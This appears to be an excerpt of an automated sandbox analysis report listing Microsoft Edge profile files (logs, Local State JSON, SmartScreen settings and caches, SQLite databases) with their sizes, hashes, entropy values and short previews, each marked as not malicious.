                                SHA-256:5AAB90DD412BD939D00A11F122DBB1E1D1A67F9FC345932D1B27DC5158767B70
                                SHA-512:41B437914ABC82DA2E3CE47CAD7327E2B0DB96A57149BD0E116FF99FA7F4C4998DF9E8634BFD1CC49CC1CF88BBCB3A8B55250F92AD0A7D471911FAA5ADD3E62A
                                Malicious:false
                                Reputation:unknown
                                Preview:7....-..........^..>l_.....q..$.........^..>l_..X....9I4SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:modified
                                Size (bytes):514
                                Entropy (8bit):3.4576311869434577
                                Encrypted:false
                                SSDEEP:
                                MD5:0567E240D4B46E4257FC7501616E3620
                                SHA1:1B30B53C25B4DB15CE8ED5A0498B6655FB228BB4
                                SHA-256:DC99396448CAC4C97718784D0FAF96AF4FA7772C78B910F860C11AF63E4FA7E0
                                SHA-512:B637E86C95408AB0DBA4567252941A8E65E3FF0625F9DEDF32F19873E6C6AD36985EDAAE48C02AC1BFA277B3DFBD46A902B5EF08BEE831BC19C21BB26E160C06
                                Malicious:false
                                Reputation:unknown
                                Preview:A..r.................20_1_1...1.,U.................20_1_1...1?.Q;0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ....1

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):317
                                Entropy (8bit):5.267463522460685
                                Encrypted:false
                                SSDEEP:
                                MD5:D8EDF54D8F1C5A8D8F8C941D64F55313
                                SHA1:31FFA3E5CC46F7085620C71506E74992850041EF
                                SHA-256:6234C9DD04F944DCE8AB351692F68D57BD24A50E8FD97D89E207151640A2A165
                                SHA-512:7D7771535D696601CC15F1E4D98997DDF5FE2316F20DF530BB5A46B4850F987A21790E5155BF87CE0B9D74FCCB48A3B3B9378D37B04BEB542D91E6E29D43F08B
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.158 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/05/29-18:09:17.161 59c Recovering log #3.2024/05/29-18:09:17.162 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):816
                                Entropy (8bit):4.0647916882227655
                                Encrypted:false
                                SSDEEP:
                                MD5:3BE72D8D40752B3A97028FDB2931FABA
                                SHA1:A27EA4726857A948F0A4B074062B674469A9A371
                                SHA-256:3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
                                SHA-512:8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
                                Malicious:false
                                Reputation:unknown
                                Preview:.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):335
                                Entropy (8bit):5.236944398012444
                                Encrypted:false
                                SSDEEP:
                                MD5:C263C02090354E1BB215CFFC194A2BE5
                                SHA1:09117E68935784E29D8C85DE69067DB999DF1403
                                SHA-256:6CD5E1A41CCDB21E31AEB448B8702951C61711916E2EF7A51182DF9A6C8448C0
                                SHA-512:B7374A7CE2E12A575DC474BECB7FDC932510A5210A1A64773A78A8F5C74612383CE6E355B3188BC06687AD347670BE6A739F433ECA451C3C75CDA4DFC8296AAF
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:17.138 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/05/29-18:09:17.140 59c Recovering log #3.2024/05/29-18:09:17.141 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):120
                                Entropy (8bit):3.32524464792714
                                Encrypted:false
                                SSDEEP:
                                MD5:A397E5983D4A1619E36143B4D804B870
                                SHA1:AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
                                SHA-256:9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
                                SHA-512:4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
                                Malicious:false
                                Reputation:unknown
                                Preview:C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):13
                                Entropy (8bit):2.7192945256669794
                                Encrypted:false
                                SSDEEP:
                                MD5:BF16C04B916ACE92DB941EBB1AF3CB18
                                SHA1:FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
                                SHA-256:7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
                                SHA-512:F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
                                Malicious:false
                                Reputation:unknown
                                Preview:117.0.2045.47

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:7D986C21BC79F8FFCA5B22C3858EE977
                                SHA1:5D189D43260150F6E0C764E23EA41EFAB5933EE7
                                SHA-256:FBBCC80D11E69FB9500E42BC59D325703DA89FFF86096761347F7E8A135ACFCE
                                SHA-512:0CDF6B795FBEF759506FC8A1945E30C5B265BDBDD756740D306D5346B96B73B9B36FB925263C9F96A73A6EE932666BC307D4AE119C74747ABB01EC60955CC03C
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30b0d.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:7D986C21BC79F8FFCA5B22C3858EE977
                                SHA1:5D189D43260150F6E0C764E23EA41EFAB5933EE7
                                SHA-256:FBBCC80D11E69FB9500E42BC59D325703DA89FFF86096761347F7E8A135ACFCE
                                SHA-512:0CDF6B795FBEF759506FC8A1945E30C5B265BDBDD756740D306D5346B96B73B9B36FB925263C9F96A73A6EE932666BC307D4AE119C74747ABB01EC60955CC03C
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33559.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:7D986C21BC79F8FFCA5B22C3858EE977
                                SHA1:5D189D43260150F6E0C764E23EA41EFAB5933EE7
                                SHA-256:FBBCC80D11E69FB9500E42BC59D325703DA89FFF86096761347F7E8A135ACFCE
                                SHA-512:0CDF6B795FBEF759506FC8A1945E30C5B265BDBDD756740D306D5346B96B73B9B36FB925263C9F96A73A6EE932666BC307D4AE119C74747ABB01EC60955CC03C
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 12, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 12
                                Category:dropped
                                Size (bytes):20480
                                Entropy (8bit):0.6802719685957235
                                Encrypted:false
                                SSDEEP:
                                MD5:52E7E2F1500A1339EDFD453DE08D7447
                                SHA1:25981B8DEABA823BEA0A218EDB7D1979BE594844
                                SHA-256:75FB701E045B7B97B294E5840796B5AD05B93C894D4C5F8E708D06765D517C09
                                SHA-512:8C8001F8FDA839F034C958C3567EBF2AFA4BF54633615BDD29D197181BF0909EF5D6F20469EC38987231CAC46F466D23C62B26A73242CE67D1DF0E8EFF8B8DED
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):47
                                Entropy (8bit):4.3818353308528755
                                Encrypted:false
                                SSDEEP:
                                MD5:48324111147DECC23AC222A361873FC5
                                SHA1:0DF8B2267ABBDBD11C422D23338262E3131A4223
                                SHA-256:D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
                                SHA-512:E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
                                Malicious:false
                                Reputation:unknown
                                Preview:customSettings_F95BA787499AB4FA9EFFF472CE383A14

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):35
                                Entropy (8bit):4.014438730983427
                                Encrypted:false
                                SSDEEP:
                                MD5:BB57A76019EADEDC27F04EB2FB1F1841
                                SHA1:8B41A1B995D45B7A74A365B6B1F1F21F72F86760
                                SHA-256:2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
                                SHA-512:A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
                                Malicious:false
                                Reputation:unknown
                                Preview:{"forceServiceDetermination":false}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):81
                                Entropy (8bit):4.3439888556902035
                                Encrypted:false
                                SSDEEP:
                                MD5:177F4D75F4FEE84EF08C507C3476C0D2
                                SHA1:08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
                                SHA-256:21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
                                SHA-512:94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
                                Malicious:false
                                Reputation:unknown
                                Preview:edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):130439
                                Entropy (8bit):3.80180718117079
                                Encrypted:false
                                SSDEEP:
                                MD5:EB75CEFFE37E6DF9C171EE8380439EDA
                                SHA1:F00119BA869133D64E4F7F0181161BD47968FA23
                                SHA-256:48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
                                SHA-512:044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):40
                                Entropy (8bit):4.346439344671015
                                Encrypted:false
                                SSDEEP:
                                MD5:6A3A60A3F78299444AACAA89710A64B6
                                SHA1:2A052BF5CF54F980475085EEF459D94C3CE5EF55
                                SHA-256:61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
                                SHA-512:C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
                                Malicious:false
                                Reputation:unknown
                                Preview:synchronousLookupUris_638343870221005468

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):57
                                Entropy (8bit):4.556488479039065
                                Encrypted:false
                                SSDEEP:
                                MD5:3A05EAEA94307F8C57BAC69C3DF64E59
                                SHA1:9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
                                SHA-256:A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
                                SHA-512:6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
                                Malicious:false
                                Reputation:unknown
                                Preview:9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):29
                                Entropy (8bit):4.030394788231021
                                Encrypted:false
                                SSDEEP:
                                MD5:52E2839549E67CE774547C9F07740500
                                SHA1:B172E16D7756483DF0CA0A8D4F7640DD5D557201
                                SHA-256:F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
                                SHA-512:D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
                                Malicious:false
                                Reputation:unknown
                                Preview:topTraffic_638004170464094982

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):575056
                                Entropy (8bit):7.999649474060713
                                Encrypted:true
                                SSDEEP:
                                MD5:BE5D1A12C1644421F877787F8E76642D
                                SHA1:06C46A95B4BD5E145E015FA7E358A2D1AC52C809
                                SHA-256:C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
                                SHA-512:FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
                                Malicious:false
                                Reputation:unknown
                                Preview:...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)*d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(|.6.:..f!.>...?M.8......P.D.J.I4.<...*.y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z*.{nZ~d.V.4.u.K.V.......X.<p..cz..>*....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:raw G3 (Group 3) FAX, byte-padded
                                Category:dropped
                                Size (bytes):460992
                                Entropy (8bit):7.999625908035124
                                Encrypted:true
                                SSDEEP:
                                MD5:E9C502DB957CDB977E7F5745B34C32E6
                                SHA1:DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
                                SHA-256:5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
                                SHA-512:B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
                                Malicious:false
                                Reputation:unknown
                                Preview:...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<...*..Z..*%.*..._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..*4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z*.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^.*.T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d|.../....._...f.....d....Im..g.b..R.q.<x*x...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>*P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):9
                                Entropy (8bit):3.169925001442312
                                Encrypted:false
                                SSDEEP:
                                MD5:B6F7A6B03164D4BF8E3531A5CF721D30
                                SHA1:A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
                                SHA-256:3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
                                SHA-512:4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
                                Malicious:false
                                Reputation:unknown
                                Preview:uriCache_

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):483
                                Entropy (8bit):4.986869314772547
                                Encrypted:false
                                SSDEEP:
                                MD5:B0EB9B5A8CD966836CC02F46E15980A7
                                SHA1:1FB672D1191518A47E0AEE2DEE254504FC1A57AA
                                SHA-256:B63BD9A4A24DA88609B077C6BDA7AD20A53429578AC5CB9E60F292FA23611662
                                SHA-512:6DF5675FD4E88C964F6CA2B0197451900707A272E0318C051CFDA5C9F6C121D7A2BC6347D73D9C678E56936808C38E7DD955F5A3460277D36913691CE2258124
                                Malicious:false
                                Reputation:unknown
                                Preview:{"version":1,"cache_data":[{"file_hash":"a2f7a245c81bd28b","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1717121371130337},{"file_hash":"dba5990f9aa95ab2","server_context":"1;c5faad59-a2e3-31f2-b86e-aaf958e12824;phsh:005;7e-05","result":0,"expiration_time":1717121369135710},{"file_hash":"8bb02c2e63c7c7d2","server_context":"1;c5faad59-a2e3-31f2-b86e-aaf958e12824;phsh:005;7e-05","result":0,"expiration_time":1717121369054746}]}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):86
                                Entropy (8bit):4.3751917412896075
                                Encrypted:false
                                SSDEEP:
                                MD5:E9E365607374115B92E4ABE4B9628101
                                SHA1:D5054EA9B22317DCA83801EB3586017BFCC0E2A8
                                SHA-256:5CD2C4D9F13524923046198C92213691539407E04FA520CDAE9EADE1BAD3D91D
                                SHA-512:A84D65ED53E43883E5ECB7848FBD48F5305A63E6975E6AF480CF85532879720061106BE54F2A5888EBC3569F7123081A0E6EB48CCB8D7DBA3E1DA1C8A3C50401
                                Malicious:false
                                Reputation:unknown
                                Preview:{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":3}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b3b70232-f0c7-4ba7-b09d-252a8cec59de.tmp

                                Download File
